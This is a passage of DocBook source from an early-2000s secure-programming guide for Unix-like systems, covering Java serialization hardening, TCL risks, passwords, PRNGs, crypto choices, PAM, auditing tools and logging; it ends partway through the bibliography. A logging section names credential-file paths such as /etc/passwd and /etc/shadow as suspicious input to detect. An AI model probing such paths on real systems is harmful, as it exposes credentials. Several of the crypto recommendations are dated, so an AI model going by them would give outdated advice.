<![CDATA[
public final void clone() throws java.lang.CloneNotSupportedException {
  super.clone();
  }
]]>
</programlisting>
</para></listitem>

<listitem><para>
Make your classes unserializeable.
Serialization allows attackers to view the internal state of your objects,
even private portions.
To prevent this, add this method to your classes:
<programlisting width="66">
<![CDATA[
private final void writeObject(ObjectOutputStream out)
  throws java.io.IOException {
     throw new java.io.IOException("Object cannot be serialized");
  }
]]>
</programlisting>
</para>
<para>
Even in cases where serialization is okay, be sure to use
the transient keyword for the fields
that contain direct handles to system resources and
that contain information relative to an address space. 
Otherwise, deserializing the class may permit improper access.
You may also want to identify sensitive information as transient.
</para>

<para>
If you define your own serializing method for a class,
it should not pass an internal array to any DataInput/DataOuput
method that takes an array.
The rationale: All DataInput/DataOutput methods can be overridden.
If a Serializable class passes a private array directly to a DataOutput(write(byte [] b)) method, then an attacker
could subclass ObjectOutputStream and override the write(byte [] b)
method to enable him to access and modify the private array. 
Note that the default serialization does not expose private
byte array fields to DataInput/DataOutput byte array methods. 
</para></listitem>

<listitem><para>
Make your classes undeserializeable.
Even if your class is not serializeable, it may still be deserializeable.
An attacker can create a sequence of bytes that happens
to deserialize to an instance of your class with values of the
attacker's choosing.
In other words, deserialization is a kind of public constructor, allowing
an attacker to choose the object's state - clearly a dangerous operation!
To prevent this, add this method to your classes:
<programlisting width="66">
<![CDATA[
private final void readObject(ObjectInputStream in)
  throws java.io.IOException {
    throw new java.io.IOException("Class cannot be deserialized");
  }
]]>
</programlisting>
</para></listitem>

<listitem><para>
Don't compare classes by name.
After all, attackers can define classes with identical names, and if
you're not careful you can cause confusion by granting these classes
undesirable privileges.
Thus, here's an example of the <emphasis>wrong</emphasis> way
to determine if an object has a given class:
<programlisting width="65">
<![CDATA[
  if (obj.getClass().getName().equals("Foo")) {
]]>
</programlisting>
</para>
<para>
If you need to determine if two objects have exactly the
same class, instead
use getClass() on both sides and compare using the == operator, 
Thus, you should use this form:
<programlisting width="65">
<![CDATA[
  if (a.getClass() == b.getClass()) {
]]>
</programlisting>
If you truly need to determine if an object has a given classname, you
need to be pedantic and be sure to use the current namespace
(of the current class's ClassLoader).
Thus, you'll need to use this format:
<programlisting width="65">
<![CDATA[
  if (obj.getClass() == this.getClassLoader().loadClass("Foo")) {
]]>
</programlisting>
</para>
<para>
This guideline is from McGraw and Felten, and it's a good guideline.
I'll add that, where possible, it's often a good idea to avoid comparing
class values anyway.
It's often better to try to design class methods and interfaces so you
don't need to do this at all.
However, this isn't always practical, so it's important to know these tricks.
</para></listitem>

<listitem><para>
Don't store secrets (cryptographic keys, passwords, or
algorithm) in the code or data.
Hostile JVMs can quickly view this data.
Code obfuscation doesn't really hide the code from serious attackers.
</para></listitem>

</orderedlist>

</para>

</sect1>

<sect1 id="tcl">
<title>TCL</title>
<para>
Tcl stands for ``tool command language'' and is pronounced ``tickle.''
TCL is divided into two parts: a language and a library.
The language is a simple text language, intended for issuing commands
to interactive programs and including basic programming capabilities.
The library can be embedded in application programs. 
</para>

<para>
You can find more information about TCL at sites such as the
<ulink url="http://www.sco.com/Technology/tcl/Tcl.html">TCL WWW Info</ulink>
web page.
Probably of most interest are Safe-TCL (which creates a sandbox in TCL)
and Safe-TK (which implements a sandboxed portable GUI for Safe-TCL), as
well as the WebWiseTclTk Toolkit permits TCL packages to be automatically
located and loaded from anywhere on the World Wide Web.
You can find more about the latter from
<ulink url="http://www.cbl.ncsu.edu/software/WebWiseTclTk">http://www.cbl.ncsu.edu/software/WebWiseTclTk</ulink>.
It's not clear to me how much code review this has received.
More useful information is available from the comp.lang.tcl FAQ launch
page at
<ulink url="http://www.tclfaq.wservice.com/tcl-faq">http://www.tclfaq.wservice.com/tcl-faq</ulink>.
However, it's worth noting that TCL's desire to be a small, ``simple''
language results in a language that can be rather limiting;
see
<ulink url="http://sdg.lcs.mit.edu/~jchapin/6853-FT97/Papers/stallman-tcl.html">
Richard Stallman's ``Why You Should Not Use TCL''</ulink>.
For example, TCL's notion that there is essentially
only one data type (string) can
make many programs harder to write (as well as making them slow).
Also, when I've written TCL programs
I've found that it's easy to accidentally create TCL programs where
malicious input strings can cause untoward and unexpected behavior.
For example, an attackers may be able to cause your TCL program
to do unexpected things by sending characters with special meaning to TCL
such as embedded spaces, double-quote, curly braces,
dollar signs, or brackets (or create input
to cause these characters to be created during processing).
Thus, I don't recommend TCL for writing programs which must
mediate a security boundary.
If you do choose to do so, be especially careful to ensure that user
input cannot ``fool'' the program.
On the other hand, I know of no strong reason (other than
insufficient review) that TCL programs can't be used to implement mobile code.
There are certainly TCL advocates who will advocate more use than I do,
and TCL is one of the few languages with
a ready-made sandbox implementation.
</para>
</sect1>

</chapter>

<chapter id="special">
<title>Special Topics</title>

<epigraph>
<attribution>Proverbs 16:22 (NIV)</attribution>
<para>
Understanding is a fountain of life to those who have it,
but folly brings punishment to fools.
</para>
</epigraph>

<sect1 id="passwords">
<title>Passwords</title>

<para>
Where possible, don't write code to handle passwords.
In particular, if the application is local,
try to depend on the normal login authentication by a user.
If the application is a CGI script, try to depend on the web server to provide
the protection.
If the application is over a network, avoid sending the password as cleartext
(where possible) since it can
be easily captured by network sniffers and reused later.
``Encrypting'' a password using some key fixed in the algorithm or using
some sort of shrouding algorithm is essentially the same as sending the
password as cleartext.
</para>

<!-- ???: Show _HOW_ to use PAM to do simple password checking; the PAM
     docs are complex on this score.  Also show how to ``fall through''
     if you don't have PAM? -->

<para>
For networks, consider at least using digest passwords.
Digest passwords are passwords developed from hashes; typically the
server will send the client some data (e.g., date, time, name of server),
the client combines this data with the user password, the client hashes
this value (termed the ``digest pasword'')
and replies just the hashed result to the server;
the server verifies this hash value.
This works, because the password is never actually sent in any form; the
password is just used to derive the hash value.
Digest passwords aren't considered ``encryption'' in
the usual sense and are usually accepted even in countries with laws
constraining encryption for confidentiality.
Digest passwords are vulnerable to active attack threats but
protect against passive network sniffers.
One weakness is that, for digest passwords
to work, the server must have all the unhashed passwords, making the server
a very tempting target for attack.
</para>

<para>
If your application permits users to set their passwords, check
the passwords and permit only ``good'' passwords
(e.g., not in a dictionary, having certain minimal length, etc.).
You may want to look at information such as
<ulink
url="http://consult.cern.ch/writeup/security/security_3.html">http://consult.cern.ch/writeup/security/security_3.html</ulink>
on how to choose a good password.
You should use PAM if you can, because it supports pluggable password checkers.
</para>
</sect1>

<sect1 id="random-numbers">
<title>Random Numbers</title>

<para>
In many cases secure programs must generate ``random'' numbers that
cannot be guessed by an adversary.
Examples include session keys, public or private keys, symmetric keys,
nonces and IVs used in many protocols, salts, and so on.
Ideally, you should use a truly random source of data for random numbers,
such as values based on
radioactive decay (through precise timing of Geiger counter
clicks), atmospheric noise, or thermal noise in electrical circuits.
Some computers have a hardware component that functions as
a real random value generator, and if it's available you should use it.
</para>

<para>
However, most computers don't have hardware that generates truly
random values, so in most cases you need a way to generate random numbers
that is sufficiently random that an adversary can't predict it.
In general, this means that you'll need three things:
<itemizedlist>
<listitem><para>
An ``unguessable'' state; typically this is done by measuring
variances in timing of low-level devices
(keystrokes, disk drive arm jitter, etc.)
in a way that an adversary cannot control.
</para></listitem>
<listitem><para>
A cryptographically strong pseudo-random number generator (PRNG), which
uses the state to generate ``random'' numbers.
</para></listitem>
<listitem><para>
A large number of bits (in both the seed and the resulting value used).
There's no point in having a strong PRNG if you only have a few possible values,
because this makes it easy for an attacker to use brute force attacks.
The number of bits necessary varies depending on the circumstance, however,
since these are often used as cryptographic keys, the normal rules of
thumb for keys apply.
For a symmetric key (result), I'd use at least 112 bits (3DES), 128 bits is
a little better, and 160 bits or more is even safer.
</para></listitem>
</itemizedlist>
Typically the PRNG uses the state to generate some values, and then
some of its values and other unguessable inputs are used to update the state.
There are lots of ways to attack these systems.
For example, if an attacker can control or view inputs to the state
(or parts of it), the attacker may be able
to determine your supposedly ``random'' number.
</para>

<para>
The real danger with PRNGs is that most computer language libraries include
a large set of pseudo-random number generators (PRNGs)
which are <emphasis>inappropriate</emphasis> for security purposes.
Let me say it again:
<emphasis>do not use typical random number generators for security
purposes</emphasis>.
Typical library PRNGs
are intended for use in simulations, games, and so on; they are
<emphasis remap="it">not</emphasis> sufficiently random for use
in security functions such as key generation.
Most non-cryptographic
library PRNGs are some variation of ``linear congruential generators'',
where the ``next'' random value is computed as "(aX+b)&nbsp;mod&nbsp;m"
(where X is the previous value).
Good linear congruential generators are fast and have useful statistical
properties, making them appropriate for their intended uses.
The problem with such PRNGs is that future values can be easily deduced
by an attacker (though they may appear random).
Other algorithms for generating random numbers quickly, such as
quadratic generators and cubic generators, have also been broken
[Schneier 1996].
In short, you have to use cryptographically strong PRNGs to
generate random numbers in secure applications - ordinary random number
libraries are not sufficient.
</para>

<para>
Failing to correctly generate truly random values for keys has caused
a number of problems, including holes in Kerberos,
the X window system, and NFS [Venema 1996].
</para>

<para>
If possible, you should use system services
(typically provided by the operating system) that are expressly designed
to create cryptographically secure random values.
For example,
the Linux kernel (since 1.3.30) includes a random number generator, which
is sufficient for many security purposes.
This random number generator  gathers  environmental  noise
from  device  drivers  and  other  sources into an entropy pool.
When accessed as /dev/random, random bytes are only returned
within the estimated number of bits of noise in the entropy pool
(when the entropy pool is empty, the call blocks until additional
environmental noise is gathered).
When accessed as /dev/urandom, as many bytes as are requested are
returned even when the entropy pool is exhausted.
If you are using the random values for cryptographic purposes (e.g.,
to generate a key) on Linux, use /dev/random.
More information is available in the system documentation random(4).
</para>

<para>
You might consider using a
cryptographic hash functions (e.g., SHA-1) on PRNG outputs.
By using a hash algorithm, even if the PRNG turns out to be guessable,
this means that the attacker must now also break the hash function.
</para>

<para>
If you have to implement a strong PRNG yourself,
a good choice for a cryptographically strong (and patent-unencumbered)
PRNG is the Yarrow algorithm; you can learn more about Yarrow from
<ulink url="http://www.counterpane.com/yarrow.html">http://www.counterpane.com/yarrow.html</ulink>.
Some other PRNGs can be useful, but many widely-used ones
have known weaknesses that may or may not matter depending on your application.
Before implmenting a PRNG yourself, consult the literature, such as
[Kelsey 1998] and [McGraw 2000a].
</para>

</sect1>

<sect1 id="protect-secrets">
<title>Specially Protect Secrets (Passwords and Keys) in User Memory</title>
<para>
If your application must handle passwords or non-public keys
(such as session keys, private keys, or secret keys), overwrite them
immediately after using them so they have minimal exposure.
For example,
in Java, don't use the type String to store a password because Strings are
immutable (they will not be overwritten until garbage-collected and
reused, possibly a far time in the future).
Instead, in Java use char[] to store a password, so it can be
immediately overwritten.
</para>

<para>
Also,
if your program handles such secret values, be sure to disable creating
core dumps (via ulimit).  Otherwise, an attacker may be able to halt the
program and find the secret value in the data dump.
Also, beware - normally processes can monitor other processes through
the calls for debuggers (e.g., via ptrace(2) and the /proc pseudo-filesystem)
[Venema 1996]
Kernels usually protect against these monitoring routines if the process is
setuid or setgid
(on the few ancient ones that don't, there really isn't a way to
defend yourself other than upgrading).
Thus, if your process manages secret values, you probably should make it
setgid or setuid (to a different unprivileged group or user) to forceably
inhibit this kind of monitoring.
</para>

</sect1>

<sect1 id="crypto">
<title>Cryptographic Algorithms and Protocols</title>

<para>
Often cryptographic algorithms and protocols are necessary to keep
a system secure, particularly when communicating through an untrusted
network such as the Internet.
Where possible, use session encryption to foil session hijacking and
to hide authentication information, as well as to support privacy.
</para>

<para>
For background information and code, you should probably look at
the classic text ``Applied Cryptography'' [Schneier 1996].
The newsgroup ``sci.crypt'' has a series of FAQ's; you can find them
at many locations, including
<ulink url="http://www.landfield.com/faqs/cryptography-faq">http://www.landfield.com/faqs/cryptography-faq</ulink>.
Linux-specific resources include the Linux Encryption HOWTO at
<ulink
url="http://marc.mutz.com/Encryption-HOWTO/">http://marc.mutz.com/Encryption-HOWTO/</ulink>.
A discussion on how protocols use the basic algorithms can be
found in [Opplinger 1998].
What follows here is just a few comments; these areas are rather
specialized and covered more thoroughly elsewhere.
</para>

<para>
It's worth noting that there are many legal hurdles involved with
cryptographic algorithms.
First, the use, export, and/or import of implementations of
encryption algorithms are restricted in many countries.
Second, a number of algorithms are patented; even if the owners permit
``free use'' at the moment, without a signed contract they can always
change their minds later.
Most of the patent issues can be easily avoided nowadays, once you know
to watch out for it, so there's little reason to subject yourself to
the problem.
</para>

<para>
Cryptographic protocols and algorithms are difficult to get right,
so do not create your own.
Instead, use existing protocols and algorithms where you can.
In particular, do not create your own encryption algorithms unless you are
an expert in cryptology, know what you're doing, and plan to spend
years in professional review of the algorithm.
Creating encryption algorithms (that are any good)
is a task for experts only.
</para>

<para>
For protocols, try to use standard-conforming protocols
such as SSL (soon to be TLS), SSH, IPSec, GnuPG/PGP, and Kerberos.
Many of these overlap somewhat in functionality, but each has
a ``specialty'' niche.
SSL (soon to be TLS) is the primary method for protecting http (web)
transactions.
PGP-compatible protocols (implemented in PGP and GnuPG) are a primary
method for securing email end-to-end.
Kerberos is a primary method for securing and supporting authentication
on a LAN.
SSH is the primary method of securing ``remote terminals'' over an 
internet, e.g., telnet-like and X windows connections, though it's often
used for securing other data streams too (such as CVS accesses).
IPSec is the primary method for securing lower-level packets and
``all'' packets, so it's particularly useful for securing
virtual private networks and remote machines.
</para>

<para>
For secret key (bulk data) encryption algorithms,
use only encryption algorithms that have been openly published and withstood
years of attack, and check on their patent status.
For encrypting unimportant data, the old DES (56-bit key) algorithm still
has some value, but with modern hardware it's too easy to break.
For many applications triple-DES is currently the best encryption algorithm; it
has a reasonably lengthy key (112 bits), no patent issues, and
a long history of withstanding attacks.
The AES algorithm may be worth using as well, once it's proven, and you
should prepare to be able to switch to it (it's much faster than
triple-DES).
Twofish is another excellent encryption algorithm.
You should avoid IDEA due to patent issues
(it's subject to U.S. and European patents), but I'm unaware of any serious
technical problems with it.
Your protocol should support multiple encryption algorithms, anyway;
that way, when an algorithm is broken, users can switch to another one.
</para>

<para>
For public key cryptography (used, among other things, for
authentication and sending secret keys), there are only a few
widely-deployed algorithms.
One of the most widely-used algorithms is RSA;
RSA's algorithm was patented, but only in the U.S., and that patent
expired in September 2000.
The Diffie-Hellman key exchange algorithm is widely used to permit
two parties to agree on a session key.  By itself it doesn't guarantee that
the parties are who they say they are, or that there is no middleman, but
it does strongly help defend against passive listeners; its patent
expired in 1997.
NIST developed the digital signature standard (DSS) (it's a
modification of the ElGamal cryptosystem) for digital signature
generation and verification; one of the conditions for its development
was for it to be patent-free.
</para>

<para>
Some programs need a one-way hash algorithm, that is, a function
that takes an ``arbitrary'' amount of data and generates a fixed-length
number that hard to invert (e.g., it's difficult for an attacker to
create a different set of data to generate that same value).
For a number of years MD5 has been a favorite, but recent efforts have
shown that its 128-bit length may not be enough
[van Oorschot 1994]
and that certain attacks weaken MD5's protection
[Dobbertin 1996].
Indeed, there are rumors
that a top industry cryptographer has broken MD5, but is bound by
employee agreement to keep silent
(see the Bugtraq 22 August 2000 posting by John Viega).
Anyone can create a rumor, but enough weaknesses have been found that
the idea of completing the break is plausible.
If you're writing new code, you probably ought to use SHA-1 instead.
</para>

<para>
In a related note, if you must create your own communication
protocol, examine the problems of what's gone on before.
Classics such as Bellovin [1989]'s review of security problems
in the TCP/IP protocol suite might help you, as well as
Bruce Schneier [1998]
and Mudge's breaking of Microsoft's PPTP implementation and their
follow-on work.
Of course, be sure to give any new protocol widespread review, and
reuse what you can.
</para>


</sect1>


<sect1 id="use-pam">
<title>Using PAM</title>

<para>
Pluggable Authentication Modules (PAM) is
a flexible mechanism for authenticating users.
Many Unix-like systems support PAM, including
Solaris, nearly all Linux distributions
(e.g., Red Hat Linux, Caldera, and Debian as of version 2.2),
and FreeBSD as of version 3.1.
By using PAM, your program can be independent of the
authentication scheme (passwords, SmartCards, etc.).
Basically, your program calls PAM, which at run-time determines
which ``authentication modules'' are required by checking the configuration
set by the local system administrator.
If you're writing a program that requires authentication (e.g., entering
a password), you should include support for PAM.
You can find out more about the Linux-PAM project at
<ulink
url="http://www.kernel.org/pub/linux/libs/pam/index.html">http://www.kernel.org/pub/linux/libs/pam/index.html</ulink>.
</para>

</sect1>


<sect1 id="tools">
<title>Tools</title>

<para>
Some tools may help you detect security problems before
you field the result.
If you're building a common kind of product where many standard
potential flaws exist (like an ftp server or firewall), you might
find standard security scanning tools useful.
One good one is
<ulink url="http://www.nessus.org">Nessus</ulink>; there are many others.
Of course, running a ``secure'' program on an insecure platform
configuration makes little sense;
you may want to examine hardening systems such as
Bastille available at
<ulink url="http://www.bastille-linux.org">http://www.bastille-linux.org</ulink>.
</para>

<para>
You may find some auditing tools helpful for finding potential security flaws.
Here are a few:
<itemizedlist>
<listitem><para>
ITS4 from Cigital (formerly Reliable Software Technologies, RST)
statically checks C/C++ code.
ITS4 works by performing
pattern-matching on source code, looking for patterns known to be
possibly dangerous (e.g., certain function calls).
It is available free for non-commercial use, including its source code
and with certain modification and redistribution rights.
One warning; the tool's licensing claims can be initially misleading.
Cigital claims that ITS4 is ``open source'' but, in fact, its license
does not meet the
<ulink url="http://www.opensource.org/osd.html">Open
Source Definition</ulink> (OSD).
In particular, ITS4's license fails point 6, which forbids
``non-commercial use only'' clauses in open source licenses.
It's unfortunate that Cigital insists on using the term
``open source'' to describe their license.
ITS4 is a fine tool, released under a
fairly generous license for commercial software, yet
using the term this way can give the appearance of a company
trying to gain the cachet of ``open source'' without actually
being open source.
Cigital says that they simply don't accept the OSD definition and
that they wish to use a different definition instead.
Nothing legally prevents this, but the OSD definition is used by
over 5000 software projects (at least all those hosted by SourceForge
at http://www.sourceforge.net),
Linux distributors, Netscape (now AOL), the W3C,
journalists (such as those of the Economist),
and many other organizations.
Most programmers don't want to wade through license agreements,
so using this other definition can be confusing.
I do not believe Cigital has any intention to mislead; they're
a reputable company with very reputable and honest people.
It's unfortunate that this particular position of theirs
leads (in my opinion) to unnecessary confusion.
In any case, ITS4 is available at
<ulink url="http://www.rstcorp.com/its4">http://www.rstcorp.com/its4</ulink>.
</para></listitem>
<listitem><para>
LCLint is a tool for statically checking C programs.
With minimal effort, LCLint can be used as a better lint.
If additional effort is invested adding annotations to programs,
LCLint can perform stronger checking than can be done by any standard lint. 
The software is licensed under the GPL and is available from
<ulink url="http://lclint.cs.virginia.edu">http://lclint.cs.virginia.edu</ulink>.
</para></listitem>
<listitem><para>
BFBTester, the Brute Force Binary Tester, is licensed under the GPL.
This program does quick security checks of binary programs.
BFBTester performs checks of single and multiple argument
command line overflows and environment variable overflows.
Version 2.0 and higher can also watch for tempfile creation activity
(to check for using unsafe tempfile names). 
At the time of this writing, BFBTesting doesn't run on Linux due to
a technical issue in Linux's POSIX threads implementation, but this
may have changed by the time you read this.
More information is available at
<ulink url="http://my.ispchannel.com/~mheffner/bfbtester">http://my.ispchannel.com/~mheffner/bfbtester</ulink>.
</para></listitem>
</itemizedlist>
</para>

</sect1>

<sect1 id="miscellaneous">
<title>Miscellaneous</title>

<para>
The following are miscellaneous security guidelines that I couldn't
seem to fit anywhere else:
</para>

<para>
Have your program check at least some of its assumptions before it uses them
(e.g., at the beginning of the program).
For example, if you depend on the ``sticky'' bit being set on a given
directory, test it; such tests take little time and could prevent
a serious problem.
If you worry about the execution time of some tests on each call, at least
perform the test at installation time, or even better at least
perform the test on application start-up.
</para>

<para>
Write audit logs for program startup, session startup, and
for suspicious activity.
Possible information of value includes date, time, uid, euid, gid, egid,
terminal information, process id, and command line values.
You may find the function syslog(3) helpful for implementing audit logs.
One awkward problem is that any logging system should be able to record
a lot of information (since this information could be very helpful), yet
if the information isn't handled carefully the information itself could be
used to create an attack.
After all, the attacker controls some of the input being sent to the program.
When recording data sent by a possible attacker,
identify a list of ``expected'' characters and
escape any ``unexpected'' characters so that the log isn't corrupted.
Not doing this can be a real problem; users may include characters
such as control characters (especially NIL or end-of-line) that
can cause real problems.
For example, if an attacker embeds a newline, they can then forge
log entries by following the newline with the desired log entry.
Sadly, there doesn't seem to be a standard convention for escaping these
characters.
I'm partial to the URL escaping mechanism
(%hh where hh is the hexadecimal value of the escaped byte) but there
are others including the C convention (\ooo for the octal value and \X
where X is a special symbol, e.g., \n for newline).
There's also the caret-system (^I is control-I), though that doesn't
handle byte values over 127 gracefully.
</para>

<para>
There is the danger that a user could create a denial-of-service attack
(or at least stop auditing)
by performing a very large number of events that cut an audit record until
the system runs out of resources to store the records.
One approach to counter to this threat is to rate-limit audit record
recording; intentionally slow down the response rate
if ``too many'' audit records are being cut.
You could try to slow the response rate only to the suspected attacker,
but in many
situations a single attacker can masquerade as potentially many users.
</para>

<para>
Selecting what is ``suspicious activity'' is, of course, dependent on
what the program does and its anticipated use.
Any input that fails the filtering checks discussed earlier is
certainly a candidate (e.g., containing NIL).
Inputs that could not result from normal use should probably be logged,
e.g., a CGI program where certain required fields are missing
in suspicious ways.
Any input with phrases like /etc/passwd or /etc/shadow
or the like is very suspicious in many cases.
Similarly, trying to access Windows ``registry'' files or .pwl files
is very suspicious.
</para>

<para>
If you have a built-in scripting language, it may be possible for the
language to set an environment variable which adversely affects the
program invoking the script.
Defend against this.
</para>

<para>
If you need a complex configuration language,
make sure the language has a comment
character and include a number of commented-out secure examples.
Often '&num;' is used for commenting, meaning ``the rest
of this line is a comment''.
</para>

<para>
If possible, don't create setuid or setgid root programs;
make the user log in as root instead.
</para>

<para>
Sign your code. That way, others can check to see if what's available
was what was sent.
</para>

<para>
Consider statically linking secure programs.
This counters attacks on the dynamic link library mechanism
by making sure that the secure programs don't use it.
</para>

<para>
When reading over code, consider all the cases where a match is not made.
For example, if there is a switch statement, what happens when none of the
cases match?
If there is an ``if'' statement, what happens when the condition is false?
</para>

<!-- ??? maybe someday add Logging discussion -->


</sect1>


</chapter>


<chapter id="conclusion">
<title>Conclusion</title>

<epigraph>
<attribution>Ecclesiastes 7:8 (NIV)</attribution>
<para>
The end of a matter is better than its beginning, and
patience is better than pride.
</para>
</epigraph>

<para>
Designing and implementing a truly secure program
is actually a difficult task on Unix-like systems such as Linux and Unix.
The difficulty is that a truly secure program must respond
appropriately to all possible inputs and environments
controlled by a potentially hostile user.
Developers of secure programs must deeply understand their platform,
seek and use guidelines (such as these), and then use assurance
processes (such as peer review) to reduce their programs' vulnerabilities.
</para>

<para>
In conclusion, here are some of the key guidelines in this book:

<itemizedlist>
<listitem>

<para>
Validate all your inputs, including command line inputs,
environment variables, CGI inputs, and so on.
Don't just reject ``bad'' input; define what is an ``acceptable'' input
and reject anything that doesn't match.
</para>
</listitem>
<listitem>

<para>
Avoid buffer overflow.
Make sure that long inputs (and long intermediate data values) can't
be used to take over your program.
This is the primary programmatic error at this time.
</para>
</listitem>
<listitem>

<para>
Structure Program Internals.
Secure the interface, minimize privileges, make the initial configuration
and defaults safe, and fail safe.
Avoid race conditions (e.g., by safely opening any files in a shared
directory like /tmp).
Trust only trustworthy channels
(e.g., most servers must not trust their clients for security checks or
other sensitive data such as an item's price in a purchase).
</para>
</listitem>
<listitem>

<para>
Carefully call out to other resources.
Limit their values to valid values (in particular be concerned about
metacharacters), and check all system call return values.
</para>
</listitem>
<listitem>

<para>
Reply information judiciously.
In particular, minimize feedback, and handle full or unresponsive output
to an untrusted user.
</para>
</listitem>

</itemizedlist>

</para>

</chapter>

<chapter id="bibliography">
<title>Bibliography</title>

<epigraph>
<attribution>Ecclesiastes 12:11-12 (NIV)</attribution>
<para>
The words of the wise are like goads, their collected sayings like
firmly embedded nails--given by one Shepherd. 
Be warned, my son, of anything in addition to them.
Of making many books there is no end, and much study wearies the body.
</para>
</epigraph>

<para>
<emphasis remap="it">Note that there is a heavy
emphasis on technical articles available on the web, since this is where
most of this kind of technical information is available.</emphasis>
</para>

<para>
[Advosys 2000]
Advosys Consulting
(formerly named Webber Technical Services).
<emphasis remap="it">Writing Secure Web Applications</emphasis>.
<ulink url="http://advosys.ca/tips/web-security.html">http://advosys.ca/tips/web-security.html</ulink>
<!-- was http://www.webbertech.com/tips/web-security.html -->
</para>

<para>
[Al-Herbish 1999]
Al-Herbish, Thamer.
1999.
<emphasis remap="it">Secure Unix Programming FAQ</emphasis>.
<ulink
url="http://www.whitefang.com/sup">http://www.whitefang.com/sup</ulink>.
</para>

<para>
[Aleph1 1996] 
Aleph1.
November 8, 1996.
``Smashing The Stack For Fun And Profit''.
<emphasis remap="it">Phrack Magazine</emphasis>.
Issue 49, Article 14.
<!-- ???: may need to double-escape the ampersand here. -->
<ulink
url="http://www.phrack.com/search.phtml?view&amp;article=p49-14">http://www.phrack.com/search.phtml?view&amp;article=p49-14</ulink>
or alternatively
<ulink
url="http://www.2600.net/phrack/p49-14.html">http://www.2600.net/phrack/p49-14.html</ulink>.
</para>

<para>
[Anonymous 1999]
Anonymous.
October 1999.
Maximum Linux Security:
A Hacker's Guide to Protecting Your Linux Server and Workstation
Sams.
ISBN: 0672316706.
</para>

<para>
[Anonymous 1998]
Anonymous.
September 1998.
Maximum Security : A Hacker's Guide to Protecting Your
Internet Site and Network.
Sams.
Second Edition.
ISBN: 0672313413.
</para>

<para>
[AUSCERT 1996]
Australian Computer Emergency Response Team (AUSCERT) and O'Reilly.
May 23, 1996 (rev 3C).
<emphasis remap="it">A Lab Engineers Check List for Writing Secure Unix Code</emphasis>.
<ulink
url="ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist">ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist</ulink>
</para>

<para>
[Bach 1986]
Bach, Maurice J.
1986.
<emphasis remap="it">The Design of the Unix Operating System</emphasis>.
Englewood Cliffs, NJ: Prentice-Hall, Inc.
ISBN 0-13-201799-7 025.
</para>

<para>
[Bellovin 1989]
Bellovin, Steven M.
April 1989. 
"Security Problems in the TCP/IP Protocol Suite"
Computer Communications Review 2:19, pp. 32-48.
<ulink
url="http://www.research.att.com/~smb/papers/ipext.pdf">http://www.research.att.com/~smb/papers/ipext.pdf</ulink>
</para>

<para>
[Bellovin 1994]
Bellovin, Steven M.
December 1994.
<emphasis remap="it">Shifting the Odds -- Writing (More) Secure Software</emphasis>.
Murray Hill, NJ: AT&amp;T Research.
<ulink
url="http://www.research.att.com/~smb/talks">http://www.research.att.com/~smb/talks</ulink>
</para>

<para>
[Bishop 1996]
Bishop, Matt.
May 1996.
``UNIX Security: Security in Programming''.
<emphasis remap="it">SANS '96</emphasis>. Washington DC (May 1996).
<ulink
url="http://olympus.cs.ucdavis.edu/~bishop/secprog.html">http://olympus.cs.ucdavis.edu/~bishop/secprog.html</ulink>
</para>

<para>
[Bishop 1997]
Bishop, Matt.
October 1997.
``Writing Safe Privileged Programs''.
<emphasis remap="it">Network Security 1997</emphasis>
New Orleans, LA.
<ulink
url="http://olympus.cs.ucdavis.edu/~bishop/secprog.html">http://olympus.cs.ucdavis.edu/~bishop/secprog.html</ulink>
</para>

<para>
[CC 1999]
<emphasis remap="it">The Common Criteria for Information Technology Security Evaluation
(CC)</emphasis>.
August 1999.
Version 2.1.
Technically identical to International Standard ISO/IEC 15408:1999.
<ulink
url="http://csrc.nist.gov/cc/ccv20/ccv2list.htm">http://csrc.nist.gov/cc/ccv20/ccv2list.htm</ulink>
</para>

<para>
[CERT 1998]
Computer Emergency Response Team (CERT) Coordination Center (CERT/CC).
February 13, 1998.
<emphasis remap="it">Sanitizing User-Supplied Data in CGI Scripts</emphasis>.
CERT Advisory CA-97.25.CGI&lowbar;metachar.
<ulink
url="http://www.cert.org/advisories/CA-97.25.CGI_metachar.html">http://www.cert.org/advisories/CA-97.25.CGI_metachar.html</ulink>.
</para>

<para>
[CMU 1998]
Carnegie Mellon University (CMU).
February 13, 1998
Version 1.4.
``How To Remove Meta-characters From User-Supplied Data In CGI Scripts''.
<ulink
url="ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters">ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters</ulink>.
</para>

<para>
[Cowan 1999]
Cowan, Crispin, Perry Wagle, Calton Pu, Steve Beattie, and
Jonathan Walpole.
``Buffer Overflows: Attacks and Defenses for the Vulnerability
of the Decade''.
Proceedings of DARPA Information Survivability Conference and Expo (DISCEX),
<ulink
url="http://schafercorp-ballston.com/discex">http://schafercorp-ballston.com/discex</ulink>
To appear at SANS 2000,
<ulink
url="http://www.sans.org/newlook/events/sans2000.htm">http://www.sans.org/newlook/events/sans2000.htm</ulink>.
For a copy, see
<ulink
url="http://immunix.org/documentation.html">http://immunix.org/documentation.html</ulink>.
</para>

<para>
[Dobbertin 1996].
Dobbertin, H.
1996.
The Status of MD5 After a Recent Attack.
RSA Laboratories' CryptoBytes.
Vol. 2, No. 2.
</para>

<para>
[Fenzi 1999]
Fenzi, Kevin, and Dave Wrenski.
April 25, 1999.
<emphasis remap="it">Linux Security HOWTO</emphasis>.
Version 1.0.2.
<ulink
url="http://www.linuxdoc.org/HOWTO/Security-HOWTO.html">http://www.linuxdoc.org/HOWTO/Security-HOWTO.html</ulink>
</para>

<para>
[FHS 1997]
Filesystem Hierarchy Standard (FHS 2.0).
October 26, 1997.
Filesystem Hierarchy Standard Group, edited by Daniel Quinlan.
Version 2.0.
<ulink
url="http://www.pathname.com/fhs">http://www.pathname.com/fhs</ulink>.
</para>

<para>
[Filipski 1986]
Filipski, Alan and James Hanko.
April 1986.
``Making Unix Secure.''
Byte (Magazine).
Peterborough, NH: McGraw-Hill Inc.
Vol. 11, No. 4.
ISSN 0360-5280.
pp. 113-128.
</para>

<para>
[FOLDOC]
Free On-Line Dictionary of Computing.
<ulink
url="http://foldoc.doc.ic.ac.uk/foldoc/index.html">
http://foldoc.doc.ic.ac.uk/foldoc/index.html</ulink>.
</para>

<para>
[FreeBSD 1999]
FreeBSD, Inc.
1999.
``Secure Programming Guidelines''.
<emphasis remap="it">FreeBSD Security Information</emphasis>.
<ulink
url="http://www.freebsd.org/security/security.html">http://www.freebsd.org/security/security.html</ulink>
</para>

<para>
[FSF 1998]
Free Software Foundation.
December 17, 1999.
